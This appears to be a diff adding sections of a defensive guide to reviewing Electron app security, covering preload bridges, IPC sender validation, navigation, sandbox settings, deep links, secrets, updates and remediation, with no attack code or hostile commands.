+ ## Preload and Context-Bridge Analysis
59
+
60
+ A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
61
+
62
+ Classify every export:
63
+
64
+ - narrow operation with fixed channel and validated arguments
65
+ - caller-selected channel or event name
66
+ - direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
67
+ - callback/event registration that leaks the raw IPC event or privileged objects
68
+ - secret/session/storage access
69
+ - operation whose authorization exists only in renderer JavaScript
70
+
71
+ A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
72
+
73
+ - `event.senderFrame` URL/origin and frame identity validation
74
+ - expected `webContents`, window, session/partition, and application state
75
+ - user/tenant authorization and request provenance
76
+ - argument schema, paths, URLs, command options, and object deserialization
77
+ - result exposure and event subscriptions
78
+
79
+ An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
80
+
81
+ ## Navigation and Window Boundaries
82
+
83
+ Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
84
+
85
+ Map all navigation causes:
86
+
87
+ - user- or page-initiated main-frame navigation (`will-navigate`)
88
+ - subframe navigation (`will-frame-navigate`)
89
+ - server redirects (`will-redirect`)
90
+ - new windows and popups (`setWindowOpenHandler`)
91
+ - application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
92
+ - custom-protocol redirects and external-link handlers
93
+
94
+ `will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
95
+
96
+ Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
97
+
98
+ Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
99
+
100
+ ## Node, Isolation, and Sandbox Settings
101
+
102
+ - `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
103
+ - `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
104
+ - `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
105
+ - `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
106
+ - `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
107
+
108
+ Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
109
+
110
+ ## Custom Protocols and Deep Links
111
+
112
+ Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
113
+
114
+ ```text
115
+ OS handler / browser / document
116
+ -> custom scheme or argv
117
+ -> URL/argument parsing
118
+ -> application router
119
+ -> renderer navigation or native operation
120
+ ```
121
+
122
+ Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
123
+
124
+ For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
125
+
126
+ ## Permissions, Storage, and Secrets
127
+
128
+ Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
129
+
130
+ Inventory secrets and capability-bearing state reachable from renderer or preload code:
131
+
132
+ - tokens, cookies, session identifiers, recovery material, and encryption keys
133
+ - IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
134
+ - local service ports, named pipes, Unix sockets, and authentication material
135
+
136
+ At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
137
+
138
+ ## Updates and Native Extensions
139
+
140
+ Trace the update pipeline as an executable supply chain:
141
+
142
+ - feed URL and channel selection
143
+ - TLS identity, redirects, proxy behavior, and metadata parsing
144
+ - artifact signature and publisher verification
145
+ - version/rollback policy and staged update state
146
+ - native modules, helper binaries, installers, and post-update hooks
147
+
148
+ An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
149
+
150
+ ## Validation
151
+
152
+ - Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
153
+ - Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
154
+ - Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
155
+ - Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
156
+ - Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
157
+
158
+ ## False Positives
159
+
160
+ - A preload or handler exists but the tested document/frame cannot reach it.
161
+ - A channel is registered but rejects the sender, identity, state, or arguments.
162
+ - `contextIsolation` or sandboxing is disabled without a reachable privileged API.
163
+ - Navigation is blocked on user links but still possible through application code, or vice versa.
164
+ - A remote page has no preload export, Node integration, IPC route, or privileged permission.
165
+ - An update feed is mutable but every artifact and version transition is independently authenticated.
166
+ - A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
167
+
168
+ ## Remediation
169
+
170
+ - Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
171
+ - Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
172
+ - Expose narrow preload APIs with fixed operations and strict schemas.
173
+ - Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
174
+ - Parse and allowlist navigation destinations consistently across every navigation path.
175
+ - Restrict permissions per session and requesting origin.
176
+ - Keep credentials and encryption keys outside renderer reach.
177
+ - Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
178
+
179
+ ## Summary
180
+
181
+ Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.